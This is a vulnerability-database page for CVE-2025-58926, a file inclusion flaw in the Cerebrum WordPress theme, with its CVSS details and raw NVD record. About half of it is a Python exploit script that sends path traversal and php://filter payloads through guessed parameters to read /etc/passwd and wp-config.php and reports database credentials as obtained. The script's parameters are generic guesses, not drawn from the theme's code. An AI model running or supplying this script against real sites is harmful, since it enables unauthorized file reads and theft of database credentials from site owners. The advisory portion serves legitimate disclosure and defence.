Security Vulnerability Report
中文
CVE-2025-58926 CVSS 8.1 HIGH

CVE-2025-58926

Published: 2025-12-18 08:16:00
Last Modified: 2026-01-20 15:17:11

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Cerebrum cerebrum allows PHP Local File Inclusion.This issue affects Cerebrum: from n/a through <= 1.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:cerebrum:*:*:*:*:*:wordpress:*:* - VULNERABLE
Cerebrum Theme <= 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58926 PoC - Cerebrum Theme LFI/RFI # Target: WordPress site using Cerebrum theme <= 1.12 import requests import argparse from urllib.parse import urljoin def test_lfi(target_url, filename='/etc/passwd'): """ Test for Local File Inclusion vulnerability """ # Common vulnerable parameters in WordPress themes params = [ ('file', filename), ('template', filename), ('page', filename), ('theme', filename), ('load', filename) ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } for param, value in params: try: # Try different path traversal patterns payloads = [ value, f'../../../../../../{value}', f'../../../../../../../../{value}', f'php://filter/read=convert.base64-encode/resource={value}' ] for payload in payloads: test_url = f"{target_url}?{param}={payload}" response = requests.get(test_url, headers=headers, timeout=10) # Check if file content is leaked if response.status_code == 200: if 'root:' in response.text or 'nobody:' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except Exception as e: print(f"[-] Error: {e}") return False def read_wp_config(target_url): """ Attempt to read wp-config.php """ paths = [ '../../wp-config.php', '../../../wp-config.php', '../../../../wp-config.php', '../../../../../wp-config.php', 'wp-config.php' ] headers = {'User-Agent': 'Mozilla/5.0'} for path in paths: try: test_url = f"{target_url}?file={path}" response = requests.get(test_url, headers=headers, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f"[+] Found wp-config.php with path: {path}") # Extract database credentials return response.text except: continue return None if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-58926 PoC') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read') args = parser.parse_args() print(f"[*] Testing {args.url} for CVE-2025-58926") if test_lfi(args.url, args.file): print("[+] Vulnerability confirmed!") print("[*] Attempting to read wp-config.php...") config = read_wp_config(args.url) if config: print("[+] Database credentials obtained!") else: print("[-] Target may not be vulnerable or is patched")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58926", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:59.870", "lastModified": "2026-01-20T15:17:10.810", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Cerebrum cerebrum allows PHP Local File Inclusion.This issue affects Cerebrum: from n/a through <= 1.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:cerebrum:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.12", "matchCriteriaId": "3B2BA030-1676-44AC-AD6D-66E73BDE901D"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/cerebrum/vulnerability/wordpress-cerebrum-theme-1-12-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}